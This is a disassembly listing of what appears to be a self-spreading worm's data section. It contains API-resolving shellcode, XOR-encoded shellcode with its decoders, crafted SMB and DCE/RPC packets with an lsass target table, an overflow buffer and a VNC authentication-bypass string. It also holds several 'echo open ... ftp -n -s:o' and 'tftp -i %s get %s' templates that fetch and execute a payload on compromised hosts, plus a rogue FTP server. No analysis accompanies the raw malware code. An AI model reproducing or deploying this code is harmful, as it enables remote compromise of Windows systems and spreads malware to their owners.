		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_432355:				; CODE XREF: sub_432308:loc_432325j
		mov	[esp+arg_0], ebx
		retn
sub_432308	endp


; =============== S U B	R O U T	I N E =======================================



sub_43235A	proc near		; CODE XREF: sub_432308+7p

; FUNCTION CHUNK AT 00432392 SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_432373
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_43237E
; ---------------------------------------------------------------------------


loc_432373:				; CODE XREF: sub_43235A+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_43237E:				; CODE XREF: sub_43235A+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_432392
sub_43235A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432385	proc near		; CODE XREF: sub_43235A:loc_432392p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_432385	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43235A


loc_432392:				; CODE XREF: sub_43235A+29j
		call	sub_432385


loc_432397:				; DATA XREF: sub_40CD9E+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_43235A
; ---------------------------------------------------------------------------
		dw 0
dword_43239C	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CD9E+2F5o
dword_4323A8	dd 30h			; DATA XREF: sub_40CD9E+2CAo
dword_4323AC	dd 0A1h			; DATA XREF: sub_40CD9E+29Fo
dword_4323B0	dd 3			; DATA XREF: sub_40CD9E+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40CD9E+153o
		align 4


loc_4323BC:				; DATA XREF: sub_40CD9E+E8o
		jmp	short near ptr dword_4323C4
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_4323C4	dd 0			; CODE XREF: .packed:loc_4323BCj
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: .packed:0040D5F4o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 4
dword_43242C	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA	XREF: .packed:0040E02Do
					; .packed:0040E167o
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_432478	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_40DCF9+123o
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_4327DC	dd 20h,	0		; DATA XREF: sub_40DCF9+136o
		dd 20h,	5C005Ch, 0
off_4327F0	dd offset aLaing	; DATA XREF: sub_40DCF9+15Do
					; "Laing"
a12345611111111:
		unicode	0, <$\123456111111111111111.doc>,0
		align 10h
dword_432830	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40DCF9+174o
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
aFxnbfxfxnbfxfx:			; DATA XREF: sub_40DCF9+45o
		unicode	0, <FXNBFXFXNBFXFXFXFX>
		dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr	db ''
		db ''
		db '',0
dword_432940	dd 10016C6h		; DATA XREF: sub_40DCF9+104o
dword_432944	dd 100139Dh		; DATA XREF: sub_40DCF9+FBo
asc_432948:				; DATA XREF: sub_40DB5E+1Co
					; sub_40DC41+16o
		unicode	0, <\\>,0
		align 10h
off_432950	dd offset dword_49005C	; DATA XREF: sub_40DB5E+Co
					; sub_40DC41+Bo
		dd offset aLallemant	; "Lallemant"
		dd 24h
aSExploitingIpS	db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: .packed:0040E235o
					; .packed:0040E99Eo ...
		align 4
aTftpFileTransf	db '[TFTP]: File transfer complete to IP: %s',0
					; DATA XREF: .packed:0040E1E8o
		align 4
aSPipeEpmapper	db '\\%s\pipe\epmapper',0 ; DATA XREF: .packed:0040DF8Do
		align 4
		jmp	short loc_4329CA

; =============== S U B	R O U T	I N E =======================================



sub_4329BA	proc far		; CODE XREF: sub_4329BA:loc_4329CAp
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_4329C2:				; CODE XREF: sub_4329BA+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_4329C2
		jmp	short loc_4329CF
; ---------------------------------------------------------------------------


loc_4329CA:				; CODE XREF: .packed:004329B8j
		call	near ptr sub_4329BA


loc_4329CF:				; CODE XREF: sub_4329BA+Ej
		jo	short loc_432A33
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_432A51
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_432A33:				; CODE XREF: sub_4329BA:loc_4329CFj
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_432A51:				; CODE XREF: sub_4329BA+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_4329BA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_432AF8:				; DATA XREF: sub_40E3F1+156o
					; sub_40E3F1+212o
		jmp	short loc_432B0A

; =============== S U B	R O U T	I N E =======================================



sub_432AFA	proc near		; CODE XREF: sub_432AFA:loc_432B0Ap
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_432B02:				; CODE XREF: sub_432AFA+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_432B02
		jmp	short loc_432B0F
; ---------------------------------------------------------------------------


loc_432B0A:				; CODE XREF: .packed:loc_432AF8j
		call	sub_432AFA


loc_432B0F:				; CODE XREF: sub_432AFA+Ej
		jo	short near ptr dword_432A88+1Eh
		cwde
		cdq
		cdq
		retn
sub_432AFA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_432BA8	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_40E3F1+105o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_432C90	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: .packed:0040E8A6o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_432D1C	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: .packed:0040E8D2o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 8
dword_432DC8	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: .packed:0040E8F9o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_432EA8	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+58o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC_0:					; DATA XREF: sub_40E3F1+8Ao
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 0
dword_432F0C	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+2AAo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_432F78	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+2D1o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_43301C	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+3B0o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_43309C	dd offset loc_401495	; DATA XREF: sub_40E3F1+3DEo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_433130	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+306o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_43319C	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+331o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_433210	dd 0			; DATA XREF: sub_40E3F1+35Fo
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 2	dup(0)
word_433298	dw 0AD9Dh		; DATA XREF: sub_40E292+30r
					; sub_40E3F1+E7r
		align 4
		dd 2 dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 8
dword_4332D8	dd 1004600h		; DATA XREF: sub_40E3F1+140r
					; sub_40E3F1+245r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
					; DATA XREF: sub_40E292+BCo
		db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0
		align 4
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_40E292+97o
; ---------------------------------------------------------------------------


loc_433410:				; DATA XREF: sub_40E3F1+177o
		jmp	short loc_433418
; ---------------------------------------------------------------------------
		jmp	short loc_43341A
; ---------------------------------------------------------------------------
		align 8


loc_433418:				; CODE XREF: .packed:loc_433410j
					; DATA XREF: sub_40E3F1+27o
		pop	esp
		pop	esp


loc_43341A:				; CODE XREF: .packed:00433412j
		and	eax, 70695C73h
		arpl	[eax+eax], sp
; ---------------------------------------------------------------------------
		dw 0
dword_433424	dd 1CEC8166h		; DATA XREF: sub_40E3F1+Dr
dword_433428	dd 0E4FF07h		; DATA XREF: sub_40E3F1+16r
dword_43342C	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40EAE9+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 10h
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40E9FB+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: .packed:0040EE25o
		align 4
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: .packed:0040ECB2o
		align 4
word_4346E4	dw 1			; DATA XREF: .packed:0040EC29r
					; sub_41B55B+24r ...
		align 4
dword_4346E8	dd 2E646D63h, 657865h	; DATA XREF: sub_40EF1C+130o
					; sub_41A1B1+21o
aEchoOpenSDOE_0	db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o'
					; DATA XREF: sub_40F108+23Eo
		db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40F3AA+5DAo
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_40F3AA+5B9o
		align 10h
dword_4347A0	dd 392C3003h, 5E5E207Ch, 534F4241h, 5E374C41h, 37C205Eh
					; DATA XREF: sub_40F3AA+568o
					; sub_412197+3ACo
		dd 7C312C30h, 77305020h, 75467233h, 20796C6Ch, 2C31037Ch
		dd 207C2038h, 336E5730h, 203E2044h, 7325h
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40F3AA+554o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_40F3AA+4F7o
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_40F3AA+4DFo
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40F3AA+4CFo
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_40F3AA+4BEo
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_40F3AA+48Bo
		align 4
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40F3AA+447o
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_40F3AA+40Eo
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40F3AA+3E0o
		align 10h
aList_0		db 'LIST',0             ; DATA XREF: sub_40F3AA+3CDo
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_40F3AA+395o
		align 4
aPasv		db 'PASV',0             ; DATA XREF: sub_40F3AA+382o
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40F3AA+372o
aI_0:					; DATA XREF: sub_40F3AA+35Eo
					; .packed:004387F0o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40F3AA+33Bo
aA_0:					; DATA XREF: sub_40F3AA+327o
					; .packed:004387FCo
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_40F3AA:loc_40F6B3o
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40F3AA+2FEo
		align 4
off_434934	dd offset dword_445750	; DATA XREF: sub_40F3AA+2EAo
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40F3AA+2DDo
		align 4
aRest		db 'REST',0             ; DATA XREF: sub_40F3AA+2C9o
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_40F3AA+2BCo
		align 4
aSyst		db 'SYST',0             ; DATA XREF: sub_40F3AA+2A8o
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40F3AA+29Bo
		align 4
aPass		db 'PASS',0             ; DATA XREF: sub_40F3AA+287o
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_40F3AA+277o
		align 4
aUser_0		db 'USER',0             ; DATA XREF: sub_40F3AA+262o
		align 4
aSS_0		db '%s %s',0            ; DATA XREF: sub_40F3AA+251o
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40F3AA+1C9o
		align 4
unk_4349CC	db  2Dh	; -		; DATA XREF: sub_40FAD6+3F8o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_4349F4	db 0Dh,0Ah,0		; DATA XREF: sub_40FAD6+2CFo
					; sub_41AA1E+F5o
		align 4
aGet_0		db 'GET ',0             ; DATA XREF: sub_40FAD6+269o
		align 10h
